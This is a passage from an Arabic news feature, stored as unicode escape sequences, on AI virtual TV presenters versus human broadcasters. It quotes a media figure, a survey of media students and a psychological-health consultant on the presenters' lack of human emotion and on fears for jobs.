\u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646 \u0627\u0644\u0634\u0628\u0627\u0628 \u0628\u0640\u062a\u0646\u0645\u064a\u0629 \u062b\u0642\u0627\u0641\u062a\u0647\u0645 \u0648\u062a\u0637\u0648\u064a\u0631 \u0623\u0646\u0641\u0633\u0647\u0645 \u0644\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u062a\u0641\u0648\u0642\u0647\u0645 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u060c \u0645\u0624\u0643\u062f\u064b\u0627 \u0623\u0646 \u0627\u0644\u0645\u0639\u0631\u0641\u0629 \u0648\u0627\u0644\u0648\u0639\u064a \u0647\u0645\u0627 \u0627\u0644\u0636\u0645\u0627\u0646 \u0627\u0644\u062d\u0642\u064a\u0642\u064a \u0644\u0628\u0642\u0627\u0621 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0641\u064a \u0627\u0644\u0635\u062f\u0627\u0631\u0629.\r\n\r\n\u00a0\u0627\u0644\u0625\u0639\u0644\u0627\u0645\u0649 - \u0637\u0647 \u0627\u0644\u062d\u062f\u064a\u0631\u064a\r\n\r\n\u0648\u064a\u0631\u0649 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0637\u0647 \u0627\u0644\u062d\u062f\u064a\u0631\u064a \u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u060c \u0631\u063a\u0645 \u062f\u0642\u062a\u0647 \u0648\u0643\u0641\u0627\u0621\u062a\u0647 \u0627\u0644\u062a\u0642\u0646\u064a\u0629\u060c \u064a\u0641\u062a\u0642\u0631 \u0644\u0644\u0631\u0648\u062d\u060c \u0648\u0647\u064a \u0623\u0647\u0645 \u0645\u0627 \u064a\u0645\u064a\u0632 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u060c \u0645\u0624\u0643\u062f\u064b\u0627 \u0623\u0646 \u0627\u0644\u062a\u0643\u0646\u0648\u0644\u0648\u062c\u064a\u0627 \u0644\u0627 \u062a\u0633\u062a\u0637\u064a\u0639 \u0645\u062d\u0627\u0643\u0627\u0629 \u0645\u0634\u0627\u0639\u0631 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u0623\u0648 \u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0627\u0644\u062d\u0642\u064a\u0642\u064a \u0639\u0646 \u0627\u0644\u0645\u0648\u0627\u0642\u0641 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629\u060c \u0645\u062b\u0644 \u0642\u0635\u0629 \u0623\u0645 \u0634\u0647\u064a\u062f \u0623\u0648 \u062d\u0648\u0627\u0631 \u0645\u0639 \u0637\u0641\u0644 \u064a\u062a\u064a\u0645\u060c \u0644\u0623\u0646 \u0623\u062f\u0627\u0624\u0647 \u0642\u0627\u0626\u0645 \u0639\u0644\u0649 \u0628\u0631\u0645\u062c\u0629 \u0645\u0633\u0628\u0642\u0629 \u062a\u0641\u062a\u0642\u0631 \u0644\u0644\u0646\u0636\u062c \u0648\u0627\u0644\u062a\u0631\u0627\u0643\u0645 \u0627\u0644\u0634\u0639\u0648\u0631\u064a.\r\n\r\n\u0648\u064a\u0624\u0643\u062f \u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u0645\u062d\u0643\u0648\u0645 \u0628\u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u062a\u064a \u0632\u064f\u0648\u0651\u0650\u062f \u0628\u0647\u0627 \u0648\u0644\u0627 \u064a\u0645\u0643\u0646\u0647 \u0627\u0644\u0625\u0628\u062f\u0627\u0639 \u0623\u0648 \u0627\u0644\u062e\u0631\u0648\u062c \u0639\u0646\u0647\u0627\u060c \u0639\u0644\u0649 \u0639\u0643\u0633 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u0627\u0644\u0630\u064a \u064a\u062d\u0644\u0644 \u0648\u064a\u062a\u0623\u0642\u0644\u0645 \u0645\u0639 \u0627\u0644\u0648\u0627\u0642\u0639. \u0648\u064a\u0636\u0631\u0628 \u0645\u062b\u0627\u0644\u064b\u0627 \u0628\u0646\u0645\u0648\u0630\u062c \u0630\u0643\u064a \u0648\u0635\u0641 \u062a\u0631\u0627\u0645\u0628 \u0628\u0623\u0646\u0647 \u201c\u0631\u062c\u0644 \u0627\u0642\u062a\u0635\u0627\u062f \u0642\u0648\u064a\u201d\u060c \u0641\u064a \u062d\u064a\u0646 \u0623\u0646 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646 \u0627\u0644\u0628\u0634\u0631\u064a\u064a\u0646 \u0642\u062f\u0645\u0648\u0627 \u062a\u062d\u0644\u064a\u0644\u0627\u062a \u0623\u062f\u0642 \u0648\u062a\u0648\u0642\u0639\u0648\u0627 \u0627\u0644\u0631\u0641\u0636 \u0627\u0644\u0639\u0627\u0644\u0645\u064a \u0644\u0633\u064a\u0627\u0633\u0627\u062a\u0647.\r\n\r\n\u0648\u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0623\u0646 \u0627\u0644\u0628\u0631\u0627\u0645\u062c \u0627\u0644\u0641\u0646\u064a\u0629 \u0648\u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u0648\u0627\u0644\u0634\u0639\u0631\u064a\u0629 \u064a\u0635\u0639\u0628 \u0639\u0644\u0649 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0623\u0646 \u064a\u0646\u0627\u0641\u0633 \u0641\u064a\u0647\u0627\u060c \u0644\u0623\u0646\u0647\u0627 \u062a\u062a\u0637\u0644\u0628 \u062a\u0630\u0648\u0642\u064b\u0627 \u0625\u0646\u0633\u0627\u0646\u064a\u064b\u0627 \u062d\u0642\u064a\u0642\u064a\u064b\u0627 \u0644\u0627 \u064a\u0645\u0643\u0646 \u0628\u0631\u0645\u062c\u062a\u0647. \u0648\u064a\u0633\u062a\u0634\u0647\u062f \u0628\u0628\u0631\u0646\u0627\u0645\u062c \u0627\u0641\u062a\u0631\u0627\u0636\u064a \u0639\u0646 \u0627\u0644\u0623\u063a\u0627\u0646\u064a\u060c \u0645\u0648\u0636\u062d\u064b\u0627 \u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u064a\u0645\u0643\u0646\u0647 \u0627\u0633\u062a\u062d\u0636\u0627\u0631 \u0631\u0648\u062d \u0627\u0644\u0634\u0627\u0639\u0631 \u0648\u0627\u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0639\u0627\u0637\u0641\u064a \u0644\u0644\u0623\u063a\u0646\u064a\u0629\u060c \u0628\u064a\u0646\u0645\u0627 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u064a\u0643\u062a\u0641\u064a \u0628\u0633\u0631\u062f \u0645\u0639\u0644\u0648\u0645\u0627\u062a.\r\n\r\n\u0648\u064a\u0639\u062a\u0628\u0631 \u0623\u0646 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0644\u064a\u0633 \u0628\u062f\u064a\u0644\u0627\u064b\u060c \u0628\u0644 \u062d\u0627\u0641\u0632\u064b\u0627 \u0644\u062a\u0637\u0648\u064a\u0631 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a\u060c \u0645\u0634\u062f\u062f\u064b\u0627 \u0639\u0644\u0649 \u0623\u0646 \u0632\u0645\u0646 \u0627\u0644\u0638\u0647\u0648\u0631 \u0627\u0644\u062a\u0644\u0641\u0632\u064a\u0648\u0646\u064a \u0627\u0644\u0642\u0627\u0626\u0645 \u0639\u0644\u0649 \u0627\u0644\u0634\u0643\u0644 \u0648\u0627\u0644\u062a\u0631\u0646\u062f \u0642\u062f \u0627\u0646\u062a\u0647\u0649\u060c \u0648\u0623\u0646 \u0627\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631 \u0641\u064a \u0627\u0644\u0645\u062c\u0627\u0644 \u064a\u0639\u062a\u0645\u062f \u0639\u0644\u0649 \u0627\u0644\u0645\u062d\u062a\u0648\u0649\u060c \u0648\u0627\u0644\u062b\u0642\u0627\u0641\u0629\u060c \u0648\u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0641\u0647\u0645 \u0627\u0644\u062c\u0645\u0647\u0648\u0631.\r\n\r\n\u0648\u064a\u062d\u0630\u0651\u0631 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646 \u0627\u0644\u062c\u062f\u062f \u0645\u0646 \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0639\u0644\u0649 \u0627\u0644\u0646\u0642\u0644 \u0627\u0644\u0646\u0638\u0631\u064a \u0648\u0627\u0644\u062a\u0643\u0631\u0627\u0631\u060c \u062f\u0627\u0639\u064a\u064b\u0627 \u0625\u0644\u0649 \u062a\u0642\u062f\u064a\u0645 \u062a\u062d\u0644\u064a\u0644\u0627\u062a \u0648\u062a\u062c\u0627\u0631\u0628 \u0648\u0627\u0642\u0639\u064a\u0629 \u0628\u062f\u0644\u064b\u0627 \u0645\u0646 \u0646\u0635\u0648\u0635 \u0645\u062d\u0641\u0648\u0638\u0629\u060c \u0644\u0623\u0646 \u0627\u0644\u062c\u0645\u0647\u0648\u0631 \u0628\u0627\u062a \u0623\u0643\u062b\u0631 \u0648\u0639\u064a\u064b\u0627 \u0648\u064a\u0635\u0639\u0628 \u0627\u0644\u062a\u0623\u062b\u064a\u0631 \u0641\u064a\u0647 \u0628\u0645\u0638\u0647\u0631 \u0623\u0648 \u0635\u0648\u062a \u062c\u0645\u064a\u0644 \u0641\u0642\u0637.\r\n\r\n\u0648\u0641\u064a \u062e\u062a\u0627\u0645 \u0631\u0623\u064a\u0647\u060c \u064a\u0624\u0643\u062f \u0627\u0644\u062d\u062f\u064a\u0631\u064a \u0623\u0646 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0644\u0646 \u064a\u062d\u0644 \u0645\u062d\u0644 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u060c \u0628\u0644 \u064a\u0631\u0649 \u0645\u0633\u062a\u0642\u0628\u0644\u064b\u0627 \u0642\u0627\u0626\u0645\u064b\u0627 \u0639\u0644\u0649 \u0627\u0644\u062a\u0643\u0627\u0645\u0644 \u0628\u064a\u0646 \u0627\u0644\u0637\u0631\u0641\u064a\u0646\u060c \u0628\u062d\u064a\u062b \u064a\u0643\u0648\u0646 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0645\u0633\u0627\u0639\u062f\u064b\u0627 \u0648\u0645\u0631\u062c\u0639\u064b\u0627\u060c \u0648\u064a\u0638\u0644 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0627\u0644\u0628\u0634\u0631\u064a \u0647\u0648 \u0645\u0646 \u064a\u0645\u0646\u062d \u0627\u0644\u0634\u0627\u0634\u0629 \u0627\u0644\u0631\u0648\u062d \u0627\u0644\u062a\u064a \u0644\u0627 \u062a\u064f\u0633\u062a\u0646\u0633\u062e.\r\n\r\n\u00a0\u0647\u0644 \u0646\u064f\u0639\u062f\u0651 \u0637\u0644\u0627\u0628 \u0627\u0644\u0625\u0639\u0644\u0627\u0645 \u0644\u0645\u0647\u0646\u0629 \u0642\u062f \u062a\u062e\u062a\u0641\u064a\u061f\u201d\r\n\r\n\u0631\u063a\u0645 \u0627\u0644\u062a\u0637\u0648\u0631 \u0627\u0644\u0645\u062a\u0633\u0627\u0631\u0639 \u0644\u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0648\u0627\u0642\u062a\u062d\u0627\u0645\u0647\u0627 \u0645\u062c\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u060c \u0645\u0627 \u0632\u0627\u0644 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u064a\u0648\u0627\u062c\u0647 \u062a\u062d\u062f\u064a\u0627\u062a \u062a\u062a\u0639\u0644\u0642 \u0628\u062b\u0642\u0629 \u0627\u0644\u062c\u0645\u0647\u0648\u0631\u060c \u0648\u0642\u0628\u0648\u0644 \u0627\u0644\u0645\u062a\u0644\u0642\u064a\u060c \u0648\u063a\u064a\u0627\u0628 \u0627\u0644\u062d\u0633 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u060c \u0643\u0645\u0627 \u062a\u0643\u0634\u0641 \u0622\u0631\u0627\u0621 \u0637\u0644\u0627\u0628 \u0627\u0644\u0625\u0639\u0644\u0627\u0645 \u0627\u0644\u0630\u064a\u0646 \u0634\u0627\u0631\u0643\u0648\u0627 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0627\u0633\u062a\u0628\u064a\u0627\u0646.\r\n\r\n\u0641\u064a \u0625\u062c\u0627\u0628\u0627\u062a\u0647\u0645 \u062d\u0648\u0644 \u0627\u0644\u0641\u0631\u0648\u0642\u0627\u062a \u0627\u0644\u062c\u0648\u0647\u0631\u064a\u0629 \u0628\u064a\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u0648\u0646\u0638\u064a\u0631\u0647 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u060c \u0627\u062a\u0641\u0642\u062a \u0627\u0644\u063a\u0627\u0644\u0628\u064a\u0629 \u0639\u0644\u0649 \u0623\u0646 \u0627\u0644\u0639\u0646\u0635\u0631 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a \u064a\u0645\u062b\u0644 \u062c\u0648\u0647\u0631 \u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a. \u0641\u0623\u062f\u0627\u0621 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u0644\u0627 \u064a\u0642\u062a\u0635\u0631 \u0639\u0644\u0649 \u0646\u0642\u0644 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0629\u060c \u0628\u0644 \u064a\u0645\u062a\u062f \u0625\u0644\u0649 \u0625\u064a\u0635\u0627\u0644 \u0627\u0644\u0645\u0634\u0627\u0639\u0631\u060c \u0648\u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0627\u0644\u0644\u062d\u0638\u064a \u0645\u0639 \u0627\u0644\u062c\u0645\u0647\u0648\u0631\u060c \u0648\u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u0627\u0631\u062a\u062c\u0627\u0644\u060c \u0648\u0647\u064a \u0639\u0646\u0627\u0635\u0631 \u0648\u0635\u0641\u0647\u0627 \u0623\u062d\u062f \u0627\u0644\u0645\u0634\u0627\u0631\u0643\u064a\u0646 \u0628\u0623\u0646\u0647\u0627 \u201c\u0644\u0627 \u064a\u0645\u0643\u0646 \u0635\u0646\u0627\u0639\u062a\u0647\u0627 \u0622\u0644\u064a\u064b\u0627 \u0645\u0647\u0645\u0627 \u062a\u0637\u0648\u0631\u062a \u0627\u0644\u062a\u0643\u0646\u0648\u0644\u0648\u062c\u064a\u0627\u201d.\r\n\r\n\u0648\u0639\u0646\u062f \u0633\u0624\u0627\u0644\u0647\u0645 \u0639\u0646 \u0627\u0644\u0647\u0648\u064a\u0629 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629\u060c \u0623\u062c\u0645\u0639\u062a \u0627\u0644\u0622\u0631\u0627\u0621 \u062a\u0642\u0631\u064a\u0628\u064b\u0627 \u0639\u0644\u0649 \u0623\u0647\u0645\u064a\u0629 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0643\u062c\u0632\u0621 \u0645\u0646 \u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u062a\u0648\u0627\u0635\u0644 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a. \u201c\u0631\u0648\u062d \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u201d\u060c \u201c\u0627\u0644\u0645\u0635\u062f\u0627\u0642\u064a\u0629\u201d\u060c \u0648\u201d \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u063a\u064a\u064a\u0631 \u0627\u0644\u0645\u062c\u062a\u0645\u0639\u064a\u201d \u0643\u0627\u0646\u062a \u0643\u0644\u0645\u0627\u062a \u062a\u0643\u0631\u0631\u062a \u0645\u0631\u0627\u0631\u064b\u0627\u060c \u0641\u064a \u062a\u0639\u0628\u064a\u0631 \u0648\u0627\u0636\u062d \u0639\u0646 \u0627\u0644\u0642\u0644\u0642 \u0645\u0646 \u0623\u0646 \u064a\u0624\u062f\u064a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u0643\u0644\u064a \u0639\u0644\u0649 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0625\u0644\u0649 \u062a\u062c\u0631\u064a\u062f \u0627\u0644\u0625\u0639\u0644\u0627\u0645 \u0645\u0646 \u0648\u0638\u064a\u0641\u062a\u0647 \u0627\u0644\u062a\u0634\u0627\u0631\u0643\u064a\u0629 \u0648\u0627\u0644\u0648\u062c\u062f\u0627\u0646\u064a\u0629.\r\n\r\n\u0623\u0645\u0627 \u0639\u0646\u062f \u0639\u0631\u0636 \u0645\u0634\u0627\u0647\u062f \u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u064a\u0646\u060c \u062a\u0646\u0648\u0639\u062a \u0645\u0634\u0627\u0639\u0631 \u0627\u0644\u0645\u0634\u0627\u0631\u0643\u064a\u0646 \u0628\u064a\u0646 \u0627\u0644\u0642\u0644\u0642\u060c \u0627\u0644\u063a\u0631\u0627\u0628\u0629\u060c \u0648\u0639\u062f\u0645 \u0627\u0644\u0627\u0631\u062a\u064a\u0627\u062d. \u0648\u0639\u0628\u0651\u0631 \u0627\u0644\u0628\u0639\u0636 \u0639\u0646 \u0634\u0639\u0648\u0631 \u201c\u0628\u0627\u0644\u062e\u0648\u0641\u201d \u0623\u0648 \u201c\u0639\u062f\u0645 \u0627\u0644\u0645\u0635\u062f\u0627\u0642\u064a\u0629\u201d\u060c \u0648\u0647\u0648 \u0645\u0627 \u064a\u0639\u0643\u0633 \u0641\u062c\u0648\u0629 \u0643\u0628\u064a\u0631\u0629 \u0644\u0627 \u062a\u0632\u0627\u0644 \u0642\u0627\u0626\u0645\u0629 \u0628\u064a\u0646 \u062a\u0637\u0648\u0631 \u0627\u0644\u062a\u0643\u0646\u0648\u0644\u0648\u062c\u064a\u0627 \u0648\u0645\u0633\u062a\u0648\u0649 \u062a\u0642\u0628\u0644 \u0627\u0644\u062c\u0645\u0647\u0648\u0631 \u0644\u0647\u0627.\r\n\r\n\u0648\u0645\u0646 \u0632\u0627\u0648\u064a\u0629 \u0633\u0648\u0642 \u0627\u0644\u0639\u0645\u0644\u060c \u0623\u0628\u062f\u0649 75% \u0645\u0646 \u0627\u0644\u0645\u0634\u0627\u0631\u0643\u064a\u0646 \u062e\u0634\u064a\u062a\u0647\u0645 \u0645\u0646 \u0623\u0646 \u062a\u0624\u062f\u064a \u0647\u0630\u0647 \u0627\u0644\u062a\u0642\u0646\u064a\u0629 \u0625\u0644\u0649 \u062a\u0642\u0644\u064a\u0635 \u0627\u0644\u0641\u0631\u0635 \u0627\u0644\u0645\u0633\u062a\u0642\u0628\u0644\u064a\u0629 \u0644\u0644\u0643\u0648\u0627\u062f\u0631 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629. \u0648\u0631\u063a\u0645 \u0623\u0646 \u0642\u0644\u0629\u064b \u0631\u0623\u062a \u0623\u0646\u0647\u0627 \u0642\u062f \u062a\u062e\u0644\u0642 \u0641\u0631\u0635\u064b\u0627 \u062c\u062f\u064a\u062f\u0629\u060c \u0625\u0644\u0627 \u0623\u0646 \u0647\u0630\u0647 \u0627\u0644\u0631\u0624\u064a\u0629 \u0645\u0627 \u062a\u0632\u0627\u0644 \u0645\u062d\u062f\u0648\u062f\u0629 \u0623\u0645\u0627\u0645 \u0645\u062e\u0627\u0648\u0641 \u0627\u0644\u0625\u0642\u0635\u0627\u0621 \u0627\u0644\u0645\u0647\u0646\u064a.\r\n\r\n\u0648\u0639\u0646 \u0633\u0624\u0627\u0644 \u0642\u062f\u0631\u0629 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u0639\u0644\u0649 \u0625\u0639\u062f\u0627\u062f \u0627\u0644\u0645\u062d\u062a\u0648\u0649 \u0648\u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0643\u0645\u0631\u0627\u0633\u0644\u060c \u0631\u0641\u0636\u062a \u0627\u0644\u0623\u063a\u0644\u0628\u064a\u0629 \u0627\u0644\u0641\u0643\u0631\u0629\u060c \u0645\u0634\u064a\u0631\u0629 \u0625\u0644\u0649 \u0623\u0646 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0627\u0644\u0628\u0634\u0631\u064a \u0644\u0627 \u064a\u064f\u0633\u062a\u0628\u062f\u0644\u060c \u0644\u0645\u0627 \u064a\u0645\u0644\u0643\u0647 \u0645\u0646 \u0648\u0639\u064a \u0648\u0633\u064a\u0627\u0642 \u0648\u0642\u0631\u0627\u0621\u0629 \u0644\u0644\u0645\u0648\u0627\u0642\u0641 \u0644\u0627 \u064a\u0645\u0643\u0646 \u0628\u0631\u0645\u062c\u062a\u0647\u0627 \u0628\u0633\u0647\u0648\u0644\u0629.\r\n\r\n\u0627\u0644\u0644\u0627\u0641\u062a \u0623\u0646 \u0627\u0644\u0622\u0631\u0627\u0621 \u0627\u0646\u0642\u0633\u0645\u062a \u0628\u0627\u0644\u062a\u0633\u0627\u0648\u064a \u0639\u0646\u062f\u0645\u0627 \u0637\u064f\u0631\u062d \u0633\u0624\u0627\u0644 \u0645\u0628\u0627\u0634\u0631 \u062d\u0648\u0644 \u0627\u0644\u062b\u0642\u0629 \u0641\u064a \u0645\u062d\u062a\u0648\u0649 \u064a\u0642\u062f\u0645\u0647 \u0645\u0630\u064a\u0639 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u060c \u0645\u0627 \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0623\u0646 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0642\u062f \u064a\u0643\u0633\u0628 \u0645\u0633\u0627\u062d\u0629 \u0645\u0646 \u0627\u0644\u062b\u0642\u0629\u060c \u0644\u0643\u0646\u0647\u0627 \u0644\u0627 \u062a\u0632\u0627\u0644 \u0645\u062d\u062f\u0648\u062f\u0629 \u0648\u0645\u0634\u0631\u0648\u0637\u0629\r\n\r\n\u00a0\u0648\u062c\u0647 \u062c\u0645\u064a\u0644 \u0648\u0635\u0648\u062a \u062f\u0642\u064a\u0642\u2026 \u0644\u0643\u0646 \u0623\u064a\u0646 \u0627\u0644\u062a\u0639\u0627\u0637\u0641\u061f\u201d\r\n\r\n\u0648\u0645\u0646 \u0627\u0644\u0632\u0627\u0648\u064a\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629\u060c \u064a\u0634\u064a\u0631 \u062f. \u0648\u0644\u064a\u062f \u0647\u0646\u062f\u064a\u060c \u0627\u0633\u062a\u0634\u0627\u0631\u064a \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629\u060c \u0625\u0644\u0649 \u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u2013 \u0631\u063a\u0645 \u0643\u0648\u0646\u0647 \u0625\u0646\u062c\u0627\u0632\u064b\u0627 \u062a\u0642\u0646\u064a\u064b\u0627 \u0644\u0627\u0641\u062a\u064b\u0627 \u2013 \u064a\u0638\u0644 \u0643\u064a\u0627\u0646\u064b\u0627 \u0646\u0627\u0642\u0635\u064b\u0627 \u0646\u0641\u0633\u064a\u064b\u0627\u060c \u064a\u0641\u062a\u0642\u062f \u0625\u0644\u0649 \u0645\u0642\u0648\u0645\u0627\u062a \u0627\u0644\u062a\u0623\u062b\u064a\u0631 \u0627\u0644\u0648\u062c\u062f\u0627\u0646\u064a \u0627\u0644\u0639\u0645\u064a\u0642 \u0641\u064a \u0627\u0644\u062c\u0645\u0647\u0648\u0631. \u0641\u0647\u0648 \u0644\u0627 \u064a\u0645\u062a\u0644\u0643 \u0647\u0648\u064a\u0629 \u0646\u0641\u0633\u064a\u0629 \u0645\u062a\u0643\u0627\u0645\u0644\u0629\u060c \u0648\u0644\u0627 \u064a\u064f\u062a\u064a\u062d \u0645\u0633\u0627\u062d\u0629 \u0644\u0644\u062a\u0641\u0627\u0639\u0644 \u0627\u0644\u0639\u0627\u0637\u0641\u064a \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u060c \u0627\u0644\u0630\u064a \u064a\u064f\u0639\u062f\u0651 \u0623\u062d\u062f \u0623\u0647\u0645 \u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u062a\u0623\u062b\u064a\u0631 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a. \u0648\u064a\u0636\u064a\u0641: \u201c\u0631\u063a\u0645 \u0623\u0646 \u0647\u0630\u0647 \u0627\u0644\u0634\u062e\u0635\u064a\u0627\u062a \u0627\u0644\u0631\u0642\u0645\u064a\u0629 \u0642\u062f \u062a\u064f\u0633\u0647\u0651\u0644 \u0625\u064a\u0635\u0627\u0644 \u0627\u0644\u0645\u062d\u062a\u0648\u0649 \u0644\u0628\u0639\u0636 \u0627\u0644\u0641\u0626\u0627\u062a \u0643\u0627\u0644\u0645\u0643\u0641\u0648\u0641\u064a\u0646 \u0623\u0648 \u063a\u064a\u0631 \u0627\u0644\u0645\u062a\u0639\u0644\u0645\u064a\u0646\u060c \u0625\u0644\u0627 \u0623\u0646\u0647\u0627 \u0644\u0627 \u062a\u064f\u0639\u0648\u0636 \u0627\u0644\u0623\u062b\u0631 \u0627\u0644\u0646\u0641\u0633\u064a \u0627\u0644\u0630\u064a \u064a\u062a\u0631\u0643\u0647 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u0641\u064a \u0648\u0639\u064a \u0648\u0648\u062c\u062f\u0627\u0646 \u0627\u0644\u0645\u062a\u0644\u0642\u064a\u201d.\r\n\r\n\u00a0\u064a\u0631\u0649 \u0647\u0646\u062f\u064a \u0623\u0646 \u0634\u062e\u0635\u064a\u0629 \u0627\u0644\u0623\u0641\u0627\u062a\u0627\u0631 \u062a\u0641\u062a\u0642\u0631 \u0644\u0645\u0627 \u064a\u064f\u0639\u0631\u0641 \u0641\u064a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0628\u0640\u201d \u0627\u0644\u0627\u0633\u062a\u0628\u0635\u0627\u0631\u201d \u0623\u0648 \u201c\u0627\u0644\u0625\u062f\u0631\u0627\u0643 \u0627\u0644\u062a\u0635\u062d\u064a\u062d\u064a\u201d\u060c \u0625\u0630 \u0625\u0646\u0647\u0627 \u062a\u064f\u0631\u062f\u062f \u0645\u0627 \u062a\u062a\u0644\u0642\u0627\u0647 \u0645\u0646 \u0628\u064a\u0627\u0646\u0627\u062a \u062f\u0648\u0646 \u0645\u0631\u0627\u062c\u0639\u0629 \u0623\u0648 \u0648\u0639\u064a\u060c \u0645\u0645\u0627 \u064a\u062c\u0639\u0644\u0647\u0627 \u0639\u0631\u0636\u0629 \u0644\u062a\u0643\u0631\u0627\u0631 \u0627\u0644\u0623\u062e\u0637\u0627\u0621 \u062f\u0648\u0646 \u062a\u0645\u064a\u064a\u0632. \u0648\u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u062d\u0642\u064a\u0642\u064a \u0648\u062d\u062f\u0647 \u0645\u0646 \u064a\u0645\u0644\u0643 \u0647\u0630\u0647 \u0627\u0644\u0642\u062f\u0631\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0639\u0644\u0649 \u0645\u0631\u0627\u062c\u0639\u0629 \u0627\u0644\u0630\u0627\u062a\u060c \u0648\u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0645\u0639 \u0627\u0644\u0645\u0648\u0642\u0641 \u0628\u0646\u0627\u0621\u064b \u0639\u0644\u0649 \u062e\u0644\u0641\u064a\u0629 \u0648\u062c\u062f\u0627\u0646\u064a\u0629 \u0648\u0634\u062e\u0635\u064a\u0629 \u0645\u062a\u0643\u0627\u0645\u0644\u0629.\r\n\r\n\u00a0\u0641\u064a \u0644\u062d\u0638\u0627\u062a \u0627\u0644\u0623\u0644\u0645\u060c \u0643\u0639\u0631\u0636 \u0645\u0634\u0627\u0647\u062f \u0627\u0644\u062d\u0631\u0628 